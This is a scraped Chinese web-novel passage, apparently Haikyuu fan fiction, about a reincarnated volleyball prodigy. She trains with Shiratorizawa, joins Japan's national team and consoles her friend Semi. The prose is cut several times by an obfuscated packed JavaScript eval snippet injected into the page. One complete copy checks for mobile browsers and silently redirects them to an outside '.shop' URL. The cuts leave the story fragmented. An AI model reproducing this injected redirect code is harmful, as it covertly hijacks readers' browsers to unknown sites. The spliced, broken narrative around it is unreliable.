“是！”牛岛跑向发球区，淡定地看了凛音一眼。 鹫匠教练重新看向凛音，眼神里带着毫不掩饰的测试意味。 “让我看看，乌养家的‘白乌鸦’，骨头到底有多硬。接不住，或者接飞了，”他顿了顿，“就说明你还没资格站在这里，浪费我的时间。” 这就是鹫匠锻治的欢迎仪式，没有寒暄，没有鼓励，只有高压的测试。他要亲眼看看，这个被传得神乎其神的女孩，她的力量和基础，是否经得起他最严苛标准的检验。 整个体育馆的空气都仿佛凝固了，所有人都屏息看着场地中央的凛音。 濑见英太他们也有些担心，他们两个已经很久没有一起打过球了，牛岛的力量最近又涨了不少，不知道凛音还能不能适应。 双方做好准备姿势，凛音对着牛岛笑了一下，示意他全力进攻，不用担心什么。 牛岛心领神会，不过凛音不说他也会用尽全力的。 牛岛的全力发球很可怕，几乎没有反应的时间，如果换一个对牛岛若利不熟悉的人来，再怎么天才也不可能立刻就接下来，不过凛音毕竟从小和他一起打球，对他的球风相当熟悉。 她预判到了球的落点，凭借身体本能摆出那个熟悉的姿势，接到了牛岛的第一球。 艹，怎么力量又变大了！ 不过还好，球没飞出去，还算接到了。 “喔~”场上的大家发出一阵惊呼，没人能想到牛岛的第一球她就能接下来。 就连鹫匠教练都满意地点了点头。 第二球，凛音根据上一球的手感优化了自己的接球姿势，接起来果然好多了。 一直到第六球，凛音终于做到了一传完美的地步，后面四球也没有任何悬念地接到了。 若利果然还是放水了啊，从头到尾都用的同一种发球，路线虽然变了，但旋转没怎么变化，场外的大家也因为球速太快而看不出来旋转的变化，只有接球的她才能感受到。 凛音很不爽地想着，背对着鹫匠教练对牛岛做了一个鬼脸。 鹫匠面上不显，但心里还是满意的。 接下来，鹫匠教练又考察了她的进攻能力和拦网能力。 整个场馆里响彻着他训人的声音。 “乌养！跳的再高一点！你真是白长这么高了！” “跑起来！别在这慢悠悠地晃！” 最后，一切都测试完，鹫匠教练面上没什么表情，对凛音说：“好了，你跟着正选一起做弹跳训练，你的下肢软的像面条！” 濑见见状给凛音使了一个眼色，让她放心，鹫匠教练对她很满意。 凛音回了他一个生气的眼神，示意等会再来找他算账。 果然，濑见好像想起了什么，眼神慌乱地移开了。 凛音见状，冷笑了两声。 “乌养凛音还有濑见，你们两个去没人的地方眉来眼去！” “是！”凛音没啥反应，上辈子被教练骂的多了，习惯了。 濑见倒是红着脸尴尬地说“抱歉”。 今天的练习中，凛音是被骂的最多的，她本人倒是不太在意，毕竟某种程度上打是亲骂是爱嘛，所以嬉皮笑脸地接受了教练的批评。 休息时，大平担心她的情绪，毕竟大小姐还没有被这么骂过呢，于是来安慰她，反而被凛音的好心态安慰到了。 “他批评我批评的最多说明他最关心我嘛。”凛音当然知道鹫匠教练的用意，何况他也不是随便骂的，确实对她有很大帮助。 大平闻言放下了心，大家其实都很爱戴鹫匠教练。 最后，他们还是打了练习赛，凛音感兴趣的天童觉被分在了她的对面。 白鸟泽高中想要入排球部是要面试的，鹫匠教练也是个到处搜罗强攻型人才的教练，她很好奇天童觉到底有什么出彩的地方。 她很快就感觉到了，但是这也太恶心了吧，他们队的快攻被他的单人拦网防住了好几次，她自己的扣球倒是能扣下去或者打手出界。 真神奇，他甚至不像千叶丽嘉那样需要进行一局的观察，就能预判到二传的选择，不过可能是因为他已经很熟悉部里面的人了吧。 而且这个人的性格相当恶劣，会在封死别人的球时说垃圾话；还会说“今天的我120分！”之类的话语，搞得凛音这边的人心态不稳。 不过凛音完全不会被影响到，反而觉得十分有趣，她很喜欢这种类型的人，以前大学的时候她也是个抽象人呢，可惜在日本一直怀才不遇，今天终于也遇到一个莫名奇妙的人了。 凛音很好奇天童是怎么拦网的，她一向是个不内耗的人，何况他算是队友，于是部活结束后直接去问。 “天童前辈，你的拦网是怎么预测的？” 天童用缠了胶带的双手夸张地在胸前比划着，语气跌宕起伏：“预测？不对不对~那才不是‘预测’哦！” 他竖起一根手指，神秘兮兮地压低声音：“是直觉在‘叮！’地一下告诉我‘就是这里！’的感觉~ 身体的悄悄话，比脸上的表情更诚实呢~要瞒过我的眼睛，得让全身都学会说谎才行哦。” 凛音懂了，靠着直觉在拦网嘛，不过凛音并不认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最终，凛音抓住了濑见，但没忍心给濑见一拳，怕给他打进医院了。 他们两人走在前往食堂的路上的最前面，濑见觉得凛音今天有点不对劲，她不太可能对只认识一天的天童开这种“我想做你爹”的玩笑。 “你很喜欢天童吗？” “对啊对啊，天童前辈真的超级可爱嘛，不过我也不知道为什么，看到他莫名其妙地样子就觉得很开心啊。” 濑见点点头，若有所思地说：“有时候觉得天童的烦人很熟悉，原来和你很像啊！” 凛音再次把濑见刚理好的头发揉乱，让你乱说话。 走在后面的天童一行人也听到了他们俩人的对话，天童低头笑了笑。 山形和大平也送了一口气，他们刚才还在向天童解释孩子太调皮了什么的。 多天以后，面对一只比格和一只神经质的猫时，濑见将会回想起他问凛音问题的那个晚上…… 大家一起去高中部的食堂吃饭，各自打好喜欢的饭菜后坐到了一起。 看饭盘知饭量。 “天童前辈竟然吃这么少！” “小白鸦竟然吃这么多！” “哈哈哈哈哈哈哈”*2 两人莫名其妙地一起笑了起来。 其他人：？？？ 天童的饭量确实把凛音惊到了，吃这么点还长得那么高，每天还能接受繁重的训练，真厉害。 天童很快就吃完了，剩了一盘虾。 凛音见状露出了心痛的神情，浪费！太浪费了！这可是世界上最好吃的东西啊！ 天童看她眼巴巴的样子秒懂。 露出大小眼，善意对凛音说：“这盘虾我还没吃过哦，你想要吗？” 凛音连连点头，接过了天童的好意。 “听说你上次吃了三斤刺身吃到医院了，现在还是那么喜欢吃虾啊~”濑见见此贱贱地说。 “哦，太喵告诉你的啊。”凛音淡定地问了一句。 “不是太一，是我说的。”牛岛平静地解释。 “啊！妈妈怎么这样啊！”肯定是妈妈和牛岛妈妈闲聊时说的嘛，不过太一竟然没告诉他们。 “对了，天童前辈不喜欢吃虾为什么要点呢？”凛音好奇地问天童。 “唔，今天感觉自己能够接受了，但点了以后发现还是不想吃。” “天童前辈好挑食，那你喜欢吃什么呢？” “巧克力冰激凌！” 凛音眼睛亮了：“我也超级喜欢吃巧克力！” “哈哈哈哈哈”*2 两个人莫名其妙笑了。 其他人：？？？ 吃完晚饭，凛音告别了大家，回宿舍。 34.国家队的邀请？！ 回宿舍的路上，凛音遇到了在外面散步的川西太一。 “咦，太喵，你在这干嘛呢？”她好奇地关心了一嘴。 “散步，最近升学，感觉压力有点大。” 其实是因为她去高中部男排练球了，他有点心情不好，所以不知不觉就走到了去高中部的路上。 “嗯？你压力大什么？你不是体育特招直升吗？” “……” “太一，你最近好奇怪哦，是发生了什么吗？” “没…没什么…” 川西的心在此刻跳的快极了，少年的爱恋是如此炽热激烈，他几乎快要控制不住自己向她表达心意，但是理智和失去的恐惧还是制止了他的冲动。 他很清楚凛音的心里还没有恋爱的想法，眼前的人表面上是典型的女神形象，实际上是个又幼稚又皮的小孩，但她的内核却很稳定很成熟。哪怕和自己同龄，川西有时候也觉得她在很多事情上比他可靠的多，看起来有很多领先于他的经验，让他忍不住去依赖。 他很痛苦，这个人的眼里还没有男人的概念，他们在她眼里都是一视同仁的朋友，他感到庆幸，没有人走在他前面，也感到难受，他也没有走在别人前面。 幸好天色已经黑了，凛音看不到川西的冷脸之下那颗炽热的心，她只是以为川西身上发生了什么不想和别人说的事情，让他感到压力很大。 唉，连无忧无虑的节能大橘猫都感到压力，究竟是什么事情呢？凛音有点担心，但看太一的样子也不是他承受不了的，凛音就没有详细询问了。 回去的路上，凛音有提到高中部的天童，提到他令人深刻的拦网，还是个很有意思的人。 川西的心里酸酸的，但仍然附和着她。 两人走了一段路后分开了，各自回到宿舍。 回宿舍后，黑川凪已经洗漱好开始打游戏了，凛音也迅速去洗漱，洗漱好了以后，她难得没有和黑川凪一起玩，给她分享了最近川西的不对劲，还有男排的天童。 一想到川西那副痛苦的样子，黑川凪确实感到很有意思，虽然她不会帮助川西，但也绝不会妨碍川西，不会把这些事情告诉凛音，她会装作什么都不知道的样子，除非川西已经给凛音带来烦恼了。 她永远会和凛音在一个立场上，只是凛音现在还没有表态，她也不会随意下场干预。 她兴致勃勃地听着凛音的分享，附和几句，发表自己的看法，也会分享她最近的事情。 最后凛音还是没忍住，和黑川凪一起玩了一局游戏才上床睡觉。 这一学期，凛音一直在高中部男排训练。 觉，是日本的一种妖怪，会把路过的人的心声说出来使人畏惧，但它不会攻击人，只是比较烦人，而且这种烦人有时候不分敌我。 但天童却意外地对凛音网开一面，结果就是两人一起到处迫害别人，一个天童一倍烦人，一个凛音一倍烦人，两人加起来十倍烦人。 只有鹫匠教练能镇压得住他们。牛岛倒是能镇压天童，但是他管不住凛音…… 整个排球部最近都很无语，他们对这两人恨也恨不起来，爱也爱不起来。 说道恨，这两人其实非常有爱，会关心你的情绪，贴心地安慰你，默默地调节队内的一些小矛盾，毫不吝啬地指导你，谁又能真的讨厌他们呢？ 说道爱，真的很烦人啊，有时候真想让他们两个永远沉睡！ 最后一切的一切都变成了无语，两个月下来也就习惯了，甚至觉得还挺好玩的。 这两个月里，天童和凛音的关系已经好到了可以叫对方名字的程度了。 但凛音时常为自己不够抽象而感到烦恼，天童还是太超前了，她有时候也会有点跟不上，但她觉得非常快乐，跟不上她也会接梗。 在天童捉弄别人时，她会帮忙收尾，还会安抚受害者情绪；她逗别人时，天童也是这样。 有意思极了！凛音度过了非常快乐的两个月。 然后她就要国中毕业，踏入高中了。 三月份，樱花盛开的季节，也是毕业的季节。 今年，轮到凛音站在樱花树下，被学弟学妹们送别，她和很多人都拍了合照。 笨蛋五色哭得可伤心了，红着眼睛和凛音、川西合照。 凛音也和太一一起拍了一些合照，不过没在樱花树下，毕竟太一花粉过敏，照片中，就连这只冷脸小猫也露出了笑容。然后他又拉着凛音去樱花树下拍了几张照片，回去以后打了好久的喷嚏。 “唉，让你别去樱花树下面，你非要为了好看，这下打喷嚏了吧。”凛音老成地说道，给太一递了几张纸。 川西不想回答，他还不是为了和凛音拍下最美好的照片嘛。 “阿嚏！”*n 三月份的春假里，凛音收到了一份完全出乎意料的邀请，邀请她进入今年的国家队训练名单，一起备战明年的伦敦奥运会。 十一月的排球世界杯将在日本举办，前三名可以直通奥运会，日本彼时再为争夺奥运会门票做准备。 凛音完全呆住了，他们全家都没想到，她今年还差五个多月才满16岁呢！ 她努力平复一下情绪，告诉自己冷静一点，毕竟保加利亚还有15岁的小将登上国际赛场，她只是被进入了国家队名单，想进奥运会的难度太大了，何况日本有没有资格还不好说呢。 不过与此同时，她发现了一个很奇怪的事情，上辈子日本女排中非常有名的如木村纱织之类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最终，凛音妈妈的家族联合牛岛家和排协对媒体施压，才让一切都平息下来，但作为交换，还是给出了一份令媒体感到满意的采访。 关注日本女排的不少都知道乌养凛音，不关注的那就是一头雾水了。 结合凛音的身体条件加上外貌，一方面凛音在日本互联网上被一群人奉为排球女神，一方面又被一批人所质疑。 上辈子她也还只是个大学生，根本没有这种被大规模在网络上讨论的经历，她爸妈很担心，直接给她断网了。 爸妈甚至联系了一家娱乐公司。对演员爱豆来说应对舆论是一项必修课，所以公司会有这方面的专门培训，凛音过去接受了两天培训，原来最重要的还是无视…… 但幸好，她不是什么明星，就是个打排球的，舆情也不会太严重，以她目前的水平来说完全能够应对。凛音开始控制自己的好奇心，在网络上关于自己的消息一律不看。 国家队那边还是会顾及学生选手的学业的，至少开学第一个月还不用集训，留给她补学习，第二个月开始来训练，每周前三天在学校，后四天来东京训练，然后根据她的训练成绩来决定后面的日程。 唉，希望在国家队能待满五个月吧…… 35.濑见的烦恼 高中第一个月毕竟还是要去学校的，凛音还是在开学前一天和黑川凪一起来到了宿舍。 关于她被选入国家队名单这种事两人早就聊腻了，所以不会提起这个话题。 “呜呜呜呜，完蛋了，后面学校要给我单独授课了，保证让我尽快学完高一第一学期的内容，能够参加考试，上课不能再玩了……”凛音最崩溃的事情就是这个。 “……”黑川凪无语。 两人和国中时一样，晚上打打游戏聊聊天，早早睡觉了。 第二天，也和以前一样，早起晨跑，然后去看分班表，她和黑川凪又被分在了同一个班，川西在隔壁班。 到了班上，发现他们班不算上她和黑川凪一共三十个人，她认识其中二十五个，就五个是从外面考进来的，大家很熟稔地祝贺她被选入国家队，脸上带着佩服的神情。 自我介绍时，班上有个她不认识的男孩吸引了凛音的注意，长得很好看，和五色一样是个妹妹头呢，看着性格有些冷淡，而且似乎多看了她两眼，不过正常人都会多看她两眼吧，毕竟她这么耀眼，凛音自恋地想着。 他叫白布贤二郎。 今天放学时，凛音和黑川凪、鸟海玲奈、还有小林莉亚直接去了排球部，她们四个是免试入排球部的。可惜风间姐妹因为父母的工作问题，高中去了东京就读，也早和大家告别了。 到了部里，还是熟悉的人。 “下午好啊，加悦学姐，瑶学姐……” 她们和曾经一起训练比赛的学姐们打招呼，今川加悦还是直接把部长一职给了凛音，这次是彻底没有了疑议。 “唉，不过加悦学姐，今年排球部还要靠你了，我应该是没有时间管理了，今年的比赛大概也参加不了了。”凛音抱歉地表示。 大家都理解，国家队的训练任务为先嘛。 等教练来到场地的时候，直接让凛音每天都去男排那边训练，反正她今年无法参赛，在女排磨合没有什么意义。 凛音带上东西跑去了男排的场地。 鹫匠教练早就接到了通知，看见她突然进来没有多说什么，摆了摆手，示意她和以往一样训练。 凛音心领神会，继续练习下肢力量。说起来，凛音的弹跳天赋其实不差，只是她一直以来都有些忽视了下肢力量的练习，毕竟她的身高很高，在日本女排不怎么需要弹跳。 练了一段时间后，她的摸高到了三米一，同样的身高下，有的人能到三米二呢，她的数据还可以，但仍然不算太出众。 经过了一年的成长，凛音的身高定型到了一米八六，力量也处于5的中上层次，但看起来还有一定的增长空间。 中场休息时，凛音直接被男排的大家围住了，尽管在电话里都说过了，但是大家还是来祝贺了一番。 凛音已经走在了所有同龄人的前面的前面了，就连牛岛若利也只是进了U19世锦赛的参赛名单而已。 这一届男排的特招生好像也只有川西太一一个，他坐在人群的外围，安静地看着凛音被围住。 能被白鸟泽特招已经说明川西太一足够优秀了，可惜，眼前这个人是真正的怪物。 大家吵吵闹闹的，果然不出意外地全被鹫匠教练骂了，又慌慌忙忙地散开，重新开始训练。 今天的部活终于结束了，凛音跟着男排的朋友们一起去食堂吃饭了。 川西看着她和天童闹腾腾的样子，终于明白上学期他想多了，松了一口气。 濑见知道川西还不太认识天童，好心地提醒他：“离他们两个远点，可烦人了。” “……看出来了。” 凛音整个四月份都在白鸟泽上学，预计到了六月份就会彻底离开学校，学校有来了解过她的情况，知道了她在假期时提前学了理科科目，终于放了心，文科的考试不是很难过，她甚至不需要什么单独授课。等到九月份新学期的时候，她和补考的同学一起考试。 凛音也放心了，上课又可以玩了。 这一个月里，天童不愧是天童，和川西太一打好了关系，川西有跟着天童学习怎么做好拦网，总的来说还是比较听天童的话的。 男排还来了一个新成员，就是凛音之前关注过的白布贤二郎。 他是个相当有个性的人，冷冰冰的，是队伍里面唯一一个考上白鸟泽的。大家和他混熟了以后发现，又是一个吐槽役，还很善于用表情说话。 白鸟泽的一年级一向十分尊老，凛音是个例外，但白布不是，他从不喊前辈的名字，对待前辈态度谦卑，用敬语，对牛岛格外敬重，和同年级隔壁班的川西关系很好。不过他对同年级同班的凛音态度就比较复杂了，有种介于牛岛和川西之间的感觉，亲近和尊敬都有。 凛音也相当喜欢白布，练球超级努力的二传。 不过凛音也很快发现一件事，在打练习赛的时候，凛音和牛岛一向是分开的，白布和牛岛一队时基本就给牛岛传球，和她一队时基本就给她传球，完全服务于队伍里的超级王牌，自身光芒完全内敛。 凛音立刻意识到他就是百分百契合白鸟泽的二传手，可是濑见怎么办？濑见也是优秀的二传手啊…… 凛音猜测鹫匠教练很可能在白布二年级时就让他顶替濑见成为首发二传手，那么濑见就很难再以二传的身份回到赛场了。刚上三年级达到巅峰的濑见如果这么被换下来会怎么样呢？凛音一想到就会觉得很难过很难过。 五月份，凛音开始了半集训的过程，每周前三天上学，后四天去东京集训。 她毫无意外地被放进了二队训练，但即使是二队的成员也不是她能随意碰瓷的。一共三十个人，都是当代日本女排的顶级选手，为了十二个名额竞争，激烈程度可想而知。 但出乎意料的是，不管是一队还是二队的成员都相当照顾凛音，知名老将野崎美莎甚至对媒体说乌养凛音是日本女排的未来。 是的，在场的大多都是24岁上下处于巅峰期的女排选手，凛音今年才16岁不到，年龄差了8岁，所以凛音在她们眼里算不上同期的竞争对手，而是日本女排寄予厚望的下一代。 单纯地在进攻能力方面，凛音因为身高和力量的优势，加上她本身练了太多年，要比在场的所有人要强，这也是她被招进来的原因，这份天赋太令人惊讶了，但她的缺陷也很明显，在职业看来，除了进攻全是弱点。 她的接球、拦网和体能比同龄人好上不少，但远远比不上职业，还是世界巅峰水平的职业。 这次集训，主教练有专门关照凛音，训练她的接球和拦网技术，她体能和下肢力量也在稳步提升。 遗憾的是十六岁远远没有达到身体机能的巅峰，她的身体素质还是有所缺陷，因而教练组安排她的训练量远小于成年的选手，毕竟天才就这一个，练的一身伤病未来怎么投入赛场？ 不愧是国家队的集训，资源的丰富是她以前难以想象的，而且出于对她的重视，有一个教练专门关注她一个人的训练，防止误入歧途，每次从东京回到宫城，她都有种脱胎换骨的感觉。 就在某个周二，凛音和朋友们一起吃完晚饭，在回宿舍的路上时，凛音发现她的手机丢在食堂了，唉，都是被山形隼人传染了。 最搞的是，她回去拿手机的时候还遇到了隼人，他的手机也丢了…… 两个人面面厮觑，相视一笑，转身就走，仿佛没有看见过彼此。 前面的长椅上好像有个人诶，一个白毛忧郁男子，凛音撇了一眼，淡定地想着。 不对，再回头看看，濑见英太？ 没错，就是濑见。他就这样忧郁地坐在长椅上，抬头看着天空，脸上没有什么表情，不知道在想什么。 凛音有些好奇，站在他身后，戳了戳他的肩膀。 濑见回过头来，看见凛音竟然意外地什么话也没有说。 凛音觉得有点怪怪的，坐到了濑见旁边，故作轻松地问：“濑濑，你怎么了？” 濑见以往听到天童和凛音这么喊他都会说“呀咩咯”的，今天却异常地安静。 “是白布的事情吗？”凛音一想到他与白布就感到非常非常难过，因为濑见是她很好很好的朋友。 “嗯。”听到白布的名字，濑见的情绪肉眼可见的低落下来。 看到濑见的样子，凛音心里也不好受，想着措辞来安慰他。 “英太也是很优秀的二传手啊，只是风格…风格……”凛音不自觉地哽咽起来，凭什么呢？明明濑见那么努力，明明濑见也那么优秀…… 濑见惊讶地看了凛音一眼，她眼睛红红的、水润润的，一行清泪挂在脸上。 “呜呜呜呜呜呜呜，凭…凭什么？英太明明…明明也那么优秀……” 看到有人比他还感到难过，濑见的心情突然好了起来，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“喂喂……怎么还升级了……”他小声嘟囔着，看着凛音一边用力擤鼻涕，一边眼泪还是大颗大颗往下掉的样子，想笑又觉得不太合时宜，最后只是认命地叹了口气。 他从凛音手里拿过那团用过的纸巾，动作有点粗鲁，但扔掉后，又递了一张新的过去。 “行了行了，知道了，你怎么样都不丑，是我说错话了，乌养大小姐。”语气里是他自己都没察觉到的迁就，“再哭下去，眼睛真要肿成核桃了，明天被大家看到，还以为我欺负国宝呢。” “走了。”濑见站起身，顺手把凛音也拉了起来，力道很轻。“再坐下去天要黑了，我送你回去……顺便，请你吃个冰淇淋什么的。不是说甜食能让人心情变好吗？虽然我觉得对你这种怪物可能没用……” 他顿了顿，声音低了下去，像是自言自语，又像是说给凛音听： “……谢谢。” 回去的路上，凛音渐渐地不再哭了，濑见也送了一口气。 “……说真的，你哭起来的样子，比鹫匠教练骂我时还吓人。”濑见一边走，一边用他恢复了几分元气的声音吐槽，试图驱散最后一点凝重的空气。 “闭嘴，混蛋英太！”凛音用还带着鼻音的声音反驳。 两人并肩走在路灯光照下的校园小径上。沉默了片刻，濑见忽然开口，声音平静了许多：“其实……没那么糟。输给正确本身，也是一种答案。它逼我看清了一些东西。” 他侧头看了看凛音，“比如，我果然还是没法变成白布贤二郎。那就算了。” “你会找到的，”凛音吸了吸鼻子，鼓励道，“那个需要濑见英太全部才能的地方。” “啊，那是当然。”濑见微微扬起下巴，恢复了他那标志性的、带着点华丽自信的神情，“到时候，可要好好看着啊。” 走到岔路口，濑见停下脚步。 “冰淇淋下次补上。现在，赶紧回去吧。” “知道了。” “快走吧。”濑见转身走向另一个方向。走了几步，他背对着凛音，举起手随意挥了挥，算是道别。 路灯将他的影子拉得很长。那背影里，失落依然存在，但某种更坚实的东西——属于濑见英太的不愿被轻易击垮的骄傲和决心。 凛音看着他的背影，轻轻擦掉眼角最后一点泪水，也转身朝宿舍走去。她知道，明天太阳升起时，那个总是吵吵闹闹、有点自恋又无比努力的濑见英太，还会继续出现在排球场上。 36.飞速成长 濑见对于自己将要被顶替的事还是很不甘心的，但他也承认白布比他更强。今年可能就是他最后再以首发二传的身份站在赛场上的一年了吧。 凛音高兴的是，濑见对白布本人是没有什么意见的，他们之间的相处也还是很好。 到了六月份，凛音完全离开学校，住在了东京的集训基地，和国家队名单的一堆女排现役一起集训。 教练组开始安排一些内部的练习赛，凛音是作为强力接应参加的。不得不说，凛音作为强力接应很适配日本的体系，她不需要参与防守，只专注进攻，但这也会给队伍的一传很大压力，而偏偏日本队最擅长的就是一传。 这种模式是上辈子男排比较流行的模式，而当时的女排也有向男排靠拢的趋势。 这次练习赛，凛音身边固定会有一个保镖，防止对手的球针对她，而且她本身也有一定的自保能力。 在练习赛中，教练有发现这种模式非常好用，凛音的进攻确实太强了，这样既能保障她的进攻能力，又能节约她的体力。不过职业赛场的强度确实要高很多，你一分我一分，实力接近的情况下连续拿分很难，也很容易进加时，所以凛音保持全胜状态最多只能打满三局，第四局往后动作就有些变形了。 但这也很无奈，毕竟才十六岁不到。 而凛音的另一大缺陷就是她没有国际大赛的经验，对其他国家选手的水平没有什么认知。 八月份女排的大奖赛要开始了，一个商业性质的比赛，教练组打算让凛音去参加一个分站赛，然后再去参加八月的女排U19世锦赛。 所以七月份，凛音就要从国家队集训再转到国青队集训。 集训一个月，凛音抽空随队飞到了釜山参加了分站赛的第一站。 第一场比赛就是打巴西，这时期巴西和美国是绝对的第一梯队的排球强队，今天凛音总算是体会到了为什么。 巴西选手的身体天赋比日本队好很多。尽管如此，凛音的进攻还是拿到了不少分数，配合上日本队的优秀一传，赢下了前两局，将比赛拖到了第五局，而凛音第三局中场就被换了，打不动了，最后第五局也输了。但已经不错了，大奖赛的阵容不是各国的最佳阵容，日本的板凳池要比巴西浅不少。 后面两场日本都以3-0的成绩击败了韩国和德国。 第一个分站赛至此结束，凛音在赛场上的表现还算令人满意。 然后她又回到日本，随队飞到了土耳其参加U19女排世锦赛。 她和这次世锦赛的队伍一起训练了一个月，在配合上已经完全没问题了。 U19的比赛远没有成年组那么激烈，凛音的体力也能够支持她打满五场比赛。 但这次是在土耳其主场比赛，所有和土耳其队打的队伍都会遭到同一种待遇，你拿分了，观众喝倒彩，你失分了，观众大声欢呼。而参加U19的选手普遍没什么大赛经验，这种场面给大家的心理压力都非常大。 凛音倒是还好，她不是那种在意陌生人行为的人。还记得上辈子16年女排打巴西那场，中国队员在入场的时候观众就开始喊“go home”了，结果倒好，巴西队的家就在场馆门口。 但是场外因素还是影响了队友的发挥，最后让土耳其拿到了冠军，日本队第二，中国队第三。 说真的，比赛过程中，难免要和中国队对战，她的态度有些复杂。 在来到土耳其之前，她有和父母交流过，因为她不知道该怎么处理这个问题，进入国家队也好，国青队也好，站上赛场上都怀着为国争光的想法。 那么对她而言，就注定有一个文化认同问题，上辈子她是个中国人，这辈子她却是个日本人，为了日本队而挑战自己曾经的祖国，这让她感到十分有压力，也不知道怎么处理。面对朋友们的青春期烦恼她还能安慰安慰，但自己身上的问题她只能去请教爸爸妈妈了。 “你尊重排球，你就尊重了你自己全部的经历。 你来自哪里，你爱吃什么，你小时候听过什么故事，这些组成了乌养凛音这个人。而这个人，现在是一名排球运动员。你站在这里，穿着这件队服，不是因为否定了你的过去，而是因为你带着你的全部，包括那些让你对网对面感到亲切的记忆和情感，走到了这个赛场。 所以，去打球吧。不是作为一个中国人去打中国队，也不是作为一个忘记过去的日本人，就是作为乌养凛音，一个带着复杂故事却依然选择纯粹地热爱排球的运动员，去打出你最棒的比赛。 对你的过去最好的尊重，就是不要让它成为你今天的负担。让它变成你的实力，你的动力，或者仅仅是一份特殊的记忆，因为你比任何人都明白，网的两边，都是值得尊敬的、热爱着排球的人。然后努力去战胜她们，用你自己的方式。” 凛音接受了他们的安慰，她告诉自己，她唯一要做的就是冷静地分析对手，竭尽全力地战胜对手。 所以她在赛场上战胜了中国队，不，不是她，是她们。 八月份的事情随着这场比赛的结束而结束，另一边男排的U19世锦赛也在举行，但日本没获得参赛资格，排协的资源朝更有希望的女排和更重要的伦敦奥运会倾斜了。 凛音的暑假还剩下来几天，九月份不需要参加集训，但十月份需要，因为十一月要举办女排世界杯，这届比赛的前三名将获得直通伦敦奥运会的资格。 这学期的IH也已经落幕了，白鸟泽这次顺利地从县预选赛中出线，在全国大赛上拿到了季军，半决赛上输给了大阪的金兰会。 宫城县的女排和男排情况不太一样，宫城县男排的强度其实还可以，青城和伊达工业都还不错，凛音估计，青城的实力在全国大赛上可以达到32强，但是没办法，青城被牛岛克得太死了；伊达工业的拦网也很不错，但在凛音看来还缺了点什么，不过在打败白鸟泽这一项上，凛音觉得伊达工业更有前途一点。 而女排这里一年级最顶尖的力量基本都在白鸟泽了，还是天才级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861229|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的，甚至连当初东京最受期待的副攻也来了白鸟泽，所以她们在县里没有对手了，在全国最大的对手就是金兰会了。金兰会聚集了整个大阪的女排天才，配置比白鸟泽还要豪华，不过要是凛音回来参加的话或许就不一样了。 今年男排又止步八强了，凛音不太了解全国男排的情况，只知道井闼山非常厉害。 回到家，她感觉真的很累很累，这段时间要飞来飞去，还要承受比赛带来的巨大压力，这一切对她来说还是第一次。 躺在床上，想睡一觉，却怎么也睡不着，好兴奋，这就是和国际上的高手比赛的感觉吗？她们好厉害…… 凛音的脑子里满是这几天赛场上的画面，又认命地爬起来看录像，来研究研究。 研究完，想着反正也睡不着，状态也不好，于是掏出了游戏机，开始玩牧场物语，上辈子她不是这个时代的人，玩得都是肝露谷，现在玩玩这个还挺有意思的。 玩着玩着就睡着了…… 后面几天，她没去排球部训练，而是自己在家一边训练一边复习，九月份她还要考试呢。 开学以后，凛音正常上学，去参加补考，轻轻松松高分过了。 她这会在学校现身又引起了一波小小的骚动。这次世锦赛上，她拿到了最佳主攻手，已经被一些人注意到了，凛音甚至在一些小众论坛里发现了她的粉丝，她的后援团也从中学部蔓延到了高中部，但她本人对此倒是没什么感觉，喜欢她也好不喜欢也好，都是陌生人而已，她也不需要粉丝，只是白鸟泽校友还是会特殊一点的。 十月份和十一月份是学校文化祭和研学的日子，到了学校，周围的人都开始忙碌了起来，凛音也会在社团和班级里帮帮忙，但主要还是在男排练球。 因为经历了国家队和一些大型比赛的锤炼，凛音整个人的水平突飞猛进，连鹫匠教练都挑不出什么毛病了，白布还总是一副“你这是排球成的精吧”的表情。 凛音偶尔还会抽空去中学部看看学妹们，现在的中学部也是人才济济，凛音的探望让她们都很兴奋，叽叽喳喳地问凛音一些经验。 凛音还顺路去看了看五色，五色还是和以前一样。 “前辈好厉害！但总有一天我也会超过前辈的！” “那阿工要加油哦，前辈相信你一定可以的，最棒的王牌！” “可是我们上次输给了北川第一……”五色又低落了起来。 北川第一……好久没听过了。 “影山飞雄吗？” “诶？对……” “他确实是个天才，阿工下一次比赛好好加油，争取打赢他呢。” “是！我一定会赢的！” 在学校较为放松的待了一个月，十月份凛音又要去参加集训了，好消息是女排世界杯就在日本举办，是她们的主场；坏消息是凛音不一定能上场，毕竟在这种世界顶级赛场上，她优缺点都很明显，参赛名单一共就十二个，教练组肯定要做一番挣扎，衡量利弊。 37.春高冠军 十月份的这段集训，是凛音这辈子最累的时候，还是在她的训练量比其他人少很多，被一群大姐姐们关照的情况下。 没办法，毕竟十一月的比赛太重要了，前三名直通奥运会，日本、中国和韩国至少要有一个能拿到直通名额，否则亚洲资格赛只能出线两个压力就有点大了，韩国以往打不过中日，但最近出了一个超级明星选手。如果东亚三国其中一个拿到了名额，那么另外两个也能在资格赛中出线，毕竟亚洲女排中她们三最强。 集训了十多天，这次比赛的名单也出来了，凛音并没有上榜，意料之中吧，但还是有一点失落，毕竟她一直集训到了现在。不过教练有安慰她，这不是奥运会的最终名单，就算这一届没有上场，下一届也一定会有她的位置。 名单公布出来后，她有和爸爸妈妈打电话，同时，她还接到了天童的电话。 